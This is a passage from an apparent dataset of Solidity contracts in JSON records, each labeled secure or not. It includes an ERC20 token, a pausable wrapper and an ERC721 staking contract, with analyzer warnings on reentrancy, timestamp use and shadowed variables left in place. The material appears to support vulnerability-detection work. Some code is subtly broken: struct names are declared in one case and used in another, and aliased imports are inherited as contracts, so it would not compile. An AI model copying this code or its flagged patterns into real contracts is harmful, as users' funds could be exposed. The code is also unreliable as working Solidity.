this.balanceOf(uniswapV2Pair);\n\n uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);\n\n if (amountToBurn > 0) {\n super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);\n }\n\n IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);\n pair.sync();\n emit ManualNukeLP();\n return true;\n }\n}",
"file_name": "solidity_code_2476.sol",
"secure": 1,
"size_bytes": 17924
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract Pausable is Ownable {\n event Paused(address account);\n\n event Unpaused(address account);\n\n bool private _paused;\n\n constructor() {\n _paused = false;\n }\n\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n function pause() external virtual onlyOwner {\n _pause();\n }\n\n function unpause() external virtual onlyOwner {\n _unpause();\n }\n\n modifier whenNotPaused() {\n require(!paused(), \"Pausable: paused\");\n _;\n }\n\n modifier whenPaused() {\n require(paused(), \"Pausable: not paused\");\n _;\n }\n\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n emit Paused(_msgSender());\n }\n\n function _unpause() internal virtual whenPaused {\n _paused = false;\n emit Unpaused(_msgSender());\n }\n}",
"file_name": "solidity_code_2477.sol",
"secure": 1,
"size_bytes": 1046
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\n\ncontract CodyfightToken is Pausable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 127000001 ether;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n constructor() {\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() external pure returns (string memory) {\n return \"Codyfight Token\";\n }\n\n function symbol() external pure returns (string memory) {\n return \"CTOK\";\n }\n\n function decimals() external pure returns (uint8) {\n return 18;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) external view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d3f82ee): CodyfightToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d3f82ee: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer();\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer();\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7131ea2): CodyfightToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7131ea2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer() internal view {\n require(!paused(), \"ERC20Pausable: token transfer while paused\");\n }\n}",
"file_name": "solidity_code_2478.sol",
"secure": 0,
"size_bytes": 5293
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary MerkleProof {\n function verify(\n bytes32[] memory proof,\n bytes32 root,\n bytes32 leaf\n ) internal pure returns (bool) {\n bytes32 computedHash = leaf;\n\n for (uint256 i = 0; i < proof.length; i++) {\n bytes32 proofElement = proof[i];\n\n if (computedHash <= proofElement) {\n computedHash = keccak256(\n abi.encodePacked(computedHash, proofElement)\n );\n } else {\n computedHash = keccak256(\n abi.encodePacked(proofElement, computedHash)\n );\n }\n }\n\n return computedHash == root;\n }\n}",
"file_name": "solidity_code_2479.sol",
"secure": 1,
"size_bytes": 768
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}",
"file_name": "solidity_code_248.sol",
"secure": 1,
"size_bytes": 1010
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC721TokenReceiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 id,\n bytes calldata data\n ) external returns (bytes4);\n}",
"file_name": "solidity_code_2480.sol",
"secure": 1,
"size_bytes": 262
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IInhibitor {\n function mintHelper(address _user, uint256 quantity) external;\n}",
"file_name": "solidity_code_2481.sol",
"secure": 1,
"size_bytes": 155
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IStakingHelper {\n function startSeason(uint256 _dailyYield) external;\n function endSeason() external;\n function needsRewardsUpdate(address _user) external view returns (bool);\n function aggregateRewards(address _user) external;\n}\n\nerror OwnerOfNullValue();\nerror BalanceOfZeroAddress();\nerror MintZeroAddress();\nerror MintZeroQuantity();\nerror SafeMintZeroQuantity();\nerror SafeMintZeroAddress();\nerror SafeMintUnsafeDestination();\nerror TokensLocked();\nerror CallerLacksTransferPermissions();\nerror TransferFromNotOwner();\nerror TransferZeroAddress();\nerror SafeTransferUnsafeDestination();\nerror TokensNotBatchable();\nerror BatchQuantityTooSmall();\nerror ApprovalToOwner();\nerror CallerLacksApprovalPermissions();\nerror getApprovedNonexistentToken();\nerror stakingNotActive();\nerror TokensStaked();\nerror TokensUnstaked();\nerror StakedTokensTimeLocked();\nerror StakingActive();\nerror beginStakingZeroAddress();\nerror StakingInactive();\nerror UnsupportedCooldownDuration();\nerror CooldownTooSmall();\nerror TokensUnlocked();\nerror NewOwnerAddressZero();\nerror TokenURINonexistentToken();\nerror TokensZeroBalance();\nerror TokensOfOwnerNullValue();\nerror CallerNotStakingHelper();\nerror CallerNotOwner();",
"file_name": "solidity_code_2482.sol",
"secure": 1,
"size_bytes": 1325
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"./ERC721TokenReceiver.sol\" as ERC721TokenReceiver;\nimport \"./IStakingHelper.sol\" as IStakingHelper;\n\nabstract contract ERC721LPhantomStakeable {\n using Address for address;\n using Strings for uint256;\n\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n event Locked(address indexed owner, uint256 unlockCooldown);\n event Unlocked(address indexed owner, uint256 unlockTimestamp);\n event Staked(address indexed owner, uint256 stakedTimestamp);\n event Unstaked(address indexed owner, uint256 unstakedTimestamp);\n event StakingEventStarted(\n address indexed stakingContract,\n uint256 dailyYield,\n uint256 timestamp\n );\n event StakingEventEnded(uint256 timestamp);\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n struct AddressData {\n uint64 balance;\n bool staked;\n bool locked;\n uint64 lockedUnlockCooldown;\n uint64 lockedUnlockTimestamp;\n }\n\n struct CollectionData {\n string name;\n string symbol;\n address owner;\n uint256 index;\n uint256 burned;\n }\n\n struct StakingData {\n IStakingHelper stakingContract;\n bool stakingStatus;\n }\n\n collectionData internal _collectionData;\n stakingData internal _stakingData;\n\n mapping(uint256 => address) internal _ownerships;\n mapping(address => addressData) internal _addressData;\n mapping(uint256 => address) internal _tokenApprovals;\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n constructor(string memory _name, string memory _symbol) {\n _collectionData.name = _name;\n _collectionData.symbol = _symbol;\n _transferOwnership(_msgSender());\n }\n\n function _msgSender() internal view returns (address) {\n return msg.sender;\n }\n\n function _exists(uint256 tokenId) public view virtual returns (bool) {\n return tokenId < _collectionData.index;\n }\n\n function ownerOf(uint256 tokenId) public view virtual returns (address) {\n unchecked {\n if (tokenId < _collectionData.index) {\n address ownership = _ownerships[tokenId];\n if (ownership != address(0)) {\n return ownership;\n }\n while (true) {\n tokenId--;\n ownership = _ownerships[tokenId];\n\n if (ownership != address(0)) {\n return ownership;\n }\n }\n }\n }\n\n revert OwnerOfNullValue();\n }\n\n function balanceOf(address _address) public view returns (uint256) {\n if (_address == address(0)) revert BalanceOfZeroAddress();\n return uint256(_addressData[_address].balance);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: cbfdcbb): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for cbfdcbb: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (boolean-cst | severity: Medium | ID: 23f9333): ERC721LPhantomStakeable.isUnlocked(address) uses a Boolean constant improperly ! _addressData[_owner].locked && _addressData[_owner].lockedUnlockTimestamp < block.timestamp && true\n\t// Recommendation for 23f9333: Verify and simplify the condition.\n function isUnlocked(address _owner) public view returns (bool) {\n\t\t// timestamp | ID: cbfdcbb\n\t\t// boolean-cst | ID: 23f9333\n return\n !_addressData[_owner].locked &&\n _addressData[_owner].lockedUnlockTimestamp < block.timestamp &&\n (_stakingData.stakingStatus ? !_addressData[_owner].staked : true);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3b1d218): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3b1d218: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 16e3e1d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 16e3e1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 618ad32): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 618ad32: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _mint(address to, uint256 quantity) internal {\n if (to == address(0)) revert MintZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n\n if (\n _stakingData.stakingStatus &&\n _addressData[to].staked &&\n _stakingData.stakingContract.needsRewardsUpdate(to)\n ) {\n\t\t\t// reentrancy-events | ID: 4aa194d\n\t\t\t// reentrancy-events | ID: 43b9bbd\n\t\t\t// reentrancy-events | ID: 2482206\n\t\t\t// reentrancy-events | ID: 3b1d218\n\t\t\t// reentrancy-benign | ID: 2a0a750\n\t\t\t// reentrancy-benign | ID: 0f0f895\n\t\t\t// reentrancy-benign | ID: 5271e10\n\t\t\t// reentrancy-benign | ID: 16e3e1d\n\t\t\t// reentrancy-no-eth | ID: a430c5a\n\t\t\t// reentrancy-no-eth | ID: 618ad32\n\t\t\t// reentrancy-no-eth | ID: 3574a5c\n\t\t\t// reentrancy-no-eth | ID: 76ca04d\n _stakingData.stakingContract.aggregateRewards(to);\n }\n\n unchecked {\n uint256 updatedIndex = _collectionData.index;\n\t\t\t// reentrancy-no-eth | ID: 618ad32\n _addressData[to].balance += uint64(quantity);\n\t\t\t// reentrancy-benign | ID: 2a0a750\n\t\t\t// reentrancy-benign | ID: 0f0f895\n\t\t\t// reentrancy-benign | ID: 5271e10\n\t\t\t// reentrancy-benign | ID: 16e3e1d\n _ownerships[updatedIndex] = to;\n\n for (uint256 i; i < quantity; i++) {\n\t\t\t\t// reentrancy-events | ID: 4aa194d\n\t\t\t\t// reentrancy-events | ID: 43b9bbd\n\t\t\t\t// reentrancy-events | ID: 2482206\n\t\t\t\t// reentrancy-events | ID: 3b1d218\n emit Transfer(address(0), to, updatedIndex++);\n }\n\n\t\t\t// reentrancy-benign | ID: 16e3e1d\n\t\t\t// reentrancy-no-eth | ID: a430c5a\n\t\t\t// reentrancy-no-eth | ID: 3574a5c\n\t\t\t// reentrancy-no-eth | ID: 76ca04d\n _collectionData.index = updatedIndex;\n }\n }\n\n function _safeMint(address to, uint256 quantity) internal {\n _safeMint(to, quantity, \"\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3d19234): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3d19234: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 22b04ec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 22b04ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: bac42e4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for bac42e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 4713601): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 4713601: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal {\n if (to == address(0)) revert SafeMintZeroAddress();\n if (quantity == 0) revert SafeMintZeroQuantity();\n\n if (\n _stakingData.stakingStatus &&\n _addressData[to].staked &&\n _stakingData.stakingContract.needsRewardsUpdate(to)\n ) {\n\t\t\t// reentrancy-events | ID: 3d19234\n\t\t\t// reentrancy-benign | ID: 22b04ec\n\t\t\t// reentrancy-no-eth | ID: bac42e4\n\t\t\t// reentrancy-no-eth | ID: 4713601\n _stakingData.stakingContract.aggregateRewards(to);\n }\n\n unchecked {\n uint256 updatedIndex = _collectionData.index;\n\t\t\t// reentrancy-no-eth | ID: bac42e4\n _addressData[to].balance += uint64(quantity);\n\t\t\t// reentrancy-benign | ID: 22b04ec\n _ownerships[updatedIndex] = to;\n\n for (uint256 i; i < quantity; i++) {\n\t\t\t\t// reentrancy-events | ID: 3d19234\n emit Transfer(address(0), to, updatedIndex);\n if (\n\t\t\t\t\t// reentrancy-events | ID: 3d19234\n\t\t\t\t\t// reentrancy-no-eth | ID: 4713601\n to.code.length > 0 &&\n ERC721TokenReceiver(to).onERC721Received(\n _msgSender(),\n address(0),\n updatedIndex,\n _data\n ) !=\n ERC721TokenReceiver.onERC721Received.selector\n ) revert SafeMintUnsafeDestination();\n updatedIndex++;\n }\n\n\t\t\t// reentrancy-no-eth | ID: 4713601\n _collectionData.index = updatedIndex;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 142986c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 142986c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: f80d974): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for f80d974: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(address from, address to, uint256 tokenId) public {\n address currentOwner = ownerOf(tokenId);\n if (!isUnlocked(from)) revert TokensLocked();\n if (\n _msgSender() != currentOwner &&\n getApproved(tokenId) != _msgSender() &&\n !isApprovedForAll(currentOwner, _msgSender())\n ) revert CallerLacksTransferPermissions();\n if (currentOwner != from) revert TransferFromNotOwner();\n if (to == address(0)) revert TransferZeroAddress();\n\n if (\n _stakingData.stakingStatus &&\n _addressData[to].staked &&\n _stakingData.stakingContract.needsRewardsUpdate(to)\n ) {\n\t\t\t// reentrancy-events | ID: 142986c\n\t\t\t// reentrancy-no-eth | ID: f80d974\n _stakingData.stakingContract.aggregateRewards(to);\n }\n\n\t\t// reentrancy-no-eth | ID: f80d974\n delete _tokenApprovals[tokenId];\n unchecked {\n\t\t\t// reentrancy-no-eth | ID: f80d974\n _addressData[from].balance -= 1;\n\t\t\t// reentrancy-no-eth | ID: f80d974\n _addressData[to].balance += 1;\n\t\t\t// reentrancy-no-eth | ID: f80d974\n _ownerships[tokenId] = to;\n uint256 nextTokenId = tokenId + 1;\n if (\n _ownerships[nextTokenId] == address(0) &&\n nextTokenId < _collectionData.index\n ) {\n\t\t\t\t// reentrancy-no-eth | ID: f80d974\n _ownerships[nextTokenId] = currentOwner;\n }\n }\n\n\t\t// reentrancy-events | ID: 142986c\n emit Transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual {\n transferFrom(from, to, tokenId);\n if (\n to.code.length > 0 &&\n ERC721TokenReceiver(to).onERC721Received(\n _msgSender(),\n address(0),\n tokenId,\n _data\n ) !=\n ERC721TokenReceiver.onERC721Received.selector\n ) revert SafeTransferUnsafeDestination();\n }\n\n function batchTransferFrom(\n address from,\n address to,\n uint256 startID,\n uint256 quantity\n ) public virtual {\n _batchTransferFrom(from, to, startID, quantity, false, \"\");\n }\n\n function batchSafeTransferFrom(\n address from,\n address to,\n uint256 startID,\n uint256 quantity\n ) public virtual {\n batchSafeTransferFrom(from, to, startID, quantity, \"\");\n }\n\n function batchSafeTransferFrom(\n address from,\n address to,\n uint256 startID,\n uint256 quantity,\n bytes memory _data\n ) public virtual {\n _batchTransferFrom(from, to, startID, quantity, true, _data);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b5f6c75): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b5f6c75: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: afe4786): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for afe4786: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _batchTransferFrom(\n address from,\n address to,\n uint256 startID,\n uint256 quantity,\n bool safeTransferCheck,\n bytes memory _data\n ) internal {\n if (!isUnlocked(from)) revert TokensLocked();\n if (_msgSender() != from && !isApprovedForAll(from, _msgSender()))\n revert CallerLacksTransferPermissions();\n if (!multiOwnerCheck(from, startID, quantity))\n revert TokensNotBatchable();\n if (to == address(0)) revert TransferZeroAddress();\n\n if (\n _stakingData.stakingStatus &&\n _addressData[to].staked &&\n _stakingData.stakingContract.needsRewardsUpdate(to)\n ) {\n\t\t\t// reentrancy-events | ID: b5f6c75\n\t\t\t// reentrancy-no-eth | ID: afe4786\n _stakingData.stakingContract.aggregateRewards(to);\n }\n\n unchecked {\n for (uint256 i; i < quantity; i++) {\n uint256 currentToken = startID + i;\n\t\t\t\t// reentrancy-no-eth | ID: afe4786\n delete _tokenApprovals[currentToken];\n\n if (i == 0) {\n\t\t\t\t\t// reentrancy-no-eth | ID: afe4786\n _ownerships[currentToken] = to;\n } else {\n\t\t\t\t\t// reentrancy-no-eth | ID: afe4786\n delete _ownerships[currentToken];\n }\n\t\t\t\t// reentrancy-events | ID: b5f6c75\n emit Transfer(from, to, currentToken);\n if (safeTransferCheck) {\n if (\n\t\t\t\t\t\t// reentrancy-events | ID: b5f6c75\n\t\t\t\t\t\t// reentrancy-no-eth | ID: afe4786\n to.code.length > 0 &&\n ERC721TokenReceiver(to).onERC721Received(\n _msgSender(),\n address(0),\n currentToken,\n _data\n ) !=\n ERC721TokenReceiver.onERC721Received.selector\n ) revert SafeTransferUnsafeDestination();\n }\n }\n\n\t\t\t// reentrancy-no-eth | ID: afe4786\n _addressData[from].balance -= uint64(quantity);\n\t\t\t// reentrancy-no-eth | ID: afe4786\n _addressData[to].balance += uint64(quantity);\n uint256 nextTokenId = startID + quantity;\n if (\n _ownerships[nextTokenId] == address(0) &&\n nextTokenId < _collectionData.index\n ) {\n\t\t\t\t// reentrancy-no-eth | ID: afe4786\n _ownerships[nextTokenId] = from;\n }\n }\n }\n\n function totalSupply() public view returns (uint256) {\n unchecked {\n return _collectionData.index - _collectionData.burned;\n }\n }\n\n function multiOwnerCheck(\n address _addressToCheck,\n uint256 startID,\n uint256 quantity\n ) internal view returns (bool) {\n if (quantity < 2) revert BatchQuantityTooSmall();\n unchecked {\n for (uint256 i; i < quantity; i++) {\n if (ownerOf(startID + i) != _addressToCheck) {\n return false;\n }\n }\n }\n return true;\n }\n\n function setApprovalForAll(address operator, bool approved) public {\n if (operator == _msgSender()) revert ApprovalToOwner();\n if (!isUnlocked(_msgSender())) revert TokensLocked();\n\n _operatorApprovals[_msgSender()][operator] = approved;\n emit ApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address _owner,\n address operator\n ) public view returns (bool) {\n return\n !isUnlocked(_owner) ? false : _operatorApprovals[_owner][operator];\n }\n\n function approve(address to, uint256 tokenId) public {\n address tokenOwner = ownerOf(tokenId);\n if (to == tokenOwner) revert ApprovalToOwner();\n if (\n _msgSender() != tokenOwner &&\n !isApprovedForAll(tokenOwner, _msgSender())\n ) revert CallerLacksApprovalPermissions();\n _tokenApprovals[tokenId] = to;\n emit Approval(tokenOwner, to, tokenId);\n }\n\n function getApproved(uint256 tokenId) public view returns (address) {\n if (!_exists(tokenId)) revert getApprovedNonexistentToken();\n return _tokenApprovals[tokenId];\n }\n\n function stake(address _owner) public stakingHelper {\n if (!_stakingData.stakingStatus) revert stakingNotActive();\n if (_addressData[_owner].staked) revert TokensStaked();\n\n _addressData[_owner].staked = true;\n emit Staked(_msgSender(), block.timestamp);\n }\n\n function unstake(address _owner) public stakingHelper {\n if (!_addressData[_owner].staked) revert TokensUnstaked();\n\n delete _addressData[_owner].staked;\n emit Unstaked(_owner, block.timestamp);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d81787e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d81787e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function beginStaking(\n address _stakingContract,\n uint256 _dailyYield\n ) public onlyOwner {\n if (_stakingData.stakingStatus) revert StakingActive();\n if (_stakingContract == address(0)) revert beginStakingZeroAddress();\n\n _stakingData.stakingContract = IStakingHelper(_stakingContract);\n _stakingData.stakingStatus = true;\n\t\t// reentrancy-events | ID: d81787e\n _stakingData.stakingContract.startSeason(_dailyYield);\n\n\t\t// reentrancy-events | ID: d81787e\n emit StakingEventStarted(\n _stakingContract,\n _dailyYield,\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 140ea32): Reentrancy in ERC721LPhantomStakeable.endStaking() External calls _stakingData.stakingContract.endSeason() Event emitted after the call(s) StakingEventEnded(block.timestamp)\n\t// Recommendation for 140ea32: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 0171994): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 0171994: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function endStaking() public onlyOwner {\n if (!_stakingData.stakingStatus) revert StakingInactive();\n\n\t\t// reentrancy-events | ID: 140ea32\n\t\t// reentrancy-no-eth | ID: 0171994\n _stakingData.stakingContract.endSeason();\n\t\t// reentrancy-no-eth | ID: 0171994\n delete _stakingData;\n\n\t\t// reentrancy-events | ID: 140ea32\n emit StakingEventEnded(block.timestamp);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8ac1824): ERC721LPhantomStakeable.lock(uint256) uses timestamp for comparisons Dangerous comparisons block.timestamp + proposedCooldown < _addressData[_msgSender()].lockedUnlockTimestamp\n\t// Recommendation for 8ac1824: Avoid relying on 'block.timestamp'.\n function lock(uint256 _cooldown) public {\n if (_addressData[_msgSender()].locked) revert TokensLocked();\n if (_cooldown < 1 || _cooldown > 30)\n revert UnsupportedCooldownDuration();\n\n unchecked {\n uint256 proposedCooldown = _cooldown * 1 days;\n if (\n\t\t\t\t// timestamp | ID: 8ac1824\n block.timestamp + proposedCooldown <\n _addressData[_msgSender()].lockedUnlockTimestamp\n ) revert CooldownTooSmall();\n _addressData[_msgSender()].locked = true;\n _addressData[_msgSender()].lockedUnlockCooldown = uint64(\n proposedCooldown\n );\n }\n\n emit Locked(_msgSender(), _cooldown);\n }\n\n function unlock() public {\n if (!_addressData[_msgSender()].locked) revert TokensUnlocked();\n\n delete _addressData[_msgSender()].locked;\n unchecked {\n _addressData[_msgSender()].lockedUnlockTimestamp = uint64(\n block.timestamp +\n _addressData[_msgSender()].lockedUnlockCooldown\n );\n }\n emit Unlocked(_msgSender(), block.timestamp);\n }\n\n function owner() public view returns (address) {\n return _collectionData.owner;\n }\n\n function renounceOwnership() public onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n if (newOwner == address(0)) revert NewOwnerAddressZero();\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal {\n address oldOwner = _collectionData.owner;\n _collectionData.owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function name() public view returns (string memory) {\n return _collectionData.name;\n }\n\n function symbol() public view returns (string memory) {\n return _collectionData.symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual returns (string memory) {\n if (!_exists(tokenId)) revert TokenURINonexistentToken();\n string memory _baseURI = baseURI();\n return\n bytes(_baseURI).length > 0\n ? string(abi.encodePacked(_baseURI, tokenId.toString()))\n : \"\";\n }\n\n function baseURI() public view virtual returns (string memory) {\n return \"\";\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 2042485): ERC721LPhantomStakeable.tokensOfOwner(address).ownedIndex is a local variable never initialized\n\t// Recommendation for 2042485: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING 